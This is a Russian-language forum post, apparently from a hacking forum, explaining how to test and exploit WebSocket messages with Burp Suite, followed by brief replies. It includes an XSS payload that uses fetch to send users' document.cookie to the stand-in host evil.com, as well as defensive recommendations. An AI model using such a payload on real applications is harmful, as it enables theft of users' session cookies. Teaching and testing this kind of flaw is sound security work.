• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пример эксплуатации уязвимости WebSocket (Burp Suite)

Oxymoron

HDD-drive
Пользователь
Регистрация
07.01.2024
Сообщения
23
Реакции
11

Что можно найти?​

С помощью Burp Suite можно перехватывать, изменять и повторно отправлять WebSocket-сообщения, чтобы проверить, правильно ли приложение обрабатывает получаемые данные. Это позволяет выявлять такие уязвимости, как:
  • SQL-инъекции или XSS через изменённые WebSocket-сообщения.
  • Ошибки контроля доступа, например, возможность получить данные других пользователей без авторизации.
  • Манипуляции бизнес-логикой путём отправки неожиданных команд.
  • Возможные DoS-атаки путём перегрузки сервера сообщениями или подключениями.

Пошаговая инструкция по эксплуатации с Burp Suite​

- Перехват трафика WebSocket:
Запустите приложение с активным прокси Burp Suite. Вкладка Proxy > WebSockets history покажет все обмены сообщениями.

- Отправка сообщения в Repeater:
Кликните правой кнопкой на интересующем сообщении (например, чат или запрос данных) и выберите Send to Repeater.

- Изменение и повторная отправка сообщений:
Во вкладке Repeater переключитесь на WebSocket tab. Здесь можно редактировать содержимое сообщения. Например, если сообщение в формате JSON, можно вставить XSS-пейлоад:

Код:
{
"action": "sendMessage",
"message": "<script>alert('XSS')</script>"
}

- Отправка и анализ ответа:
Нажмите Send, чтобы отправить изменённое сообщение. Проверьте ответ, чтобы понять, выполнился ли пейлоад или приложение отреагировало иначе.

- Манипуляция handshake WebSocket (опционально):
Можно также клонировать и изменить handshake WebSocket для проверки заголовков или параметров, например, подменить IP через X-Forwarded-For.

Практический пример: тестирование XSS через WebSocket​

Предположим, приложение использует чат в реальном времени через WebSocket и не проверяет содержимое сообщений. Перехватываем обычное сообщение:

Код:
{
  "action": "sendMessage",
  "message": "Привет всем"
}

Изменяем его, чтобы вставить вредоносный скрипт:

Код:
{
"action": "sendMessage",
"message": "<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"
}

Если приложение не фильтрует входящие данные, этот скрипт выполнится у других пользователей, подключённых к чату.

Рекомендации по защите​

  • Валидировать и фильтровать все сообщения, получаемые через WebSocket.
  • Внедрять строгую аутентификацию и авторизацию для каждой сессии и сообщения.
  • Использовать шифрование (wss://) для защиты передачи данных.
  • Ограничивать количество сообщений и подключений для предотвращения злоупотреблений.
  • Мониторить трафик и подозрительную активность в WebSocket-соединениях.
Дополнительная информация:


Если вы зашли так далеко, я хотел бы, чтобы вы оставили лайк, который поможет мне продолжить публикацию. :smile2::zns6::smile10:
 
публикацию
I was actually waiting for you to squeeze a payment out of it but I couldn't resist:
36.jpg
 
На практике разбирал подобное в своей статье: https://xss.pro/threads/122659/
Оформление кривое, да и инфа не актуальная, но вдруг кому поможет.
Да, я просто думаю, что люди, которые только начинают, должны знать более или менее то, что они могут найти.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх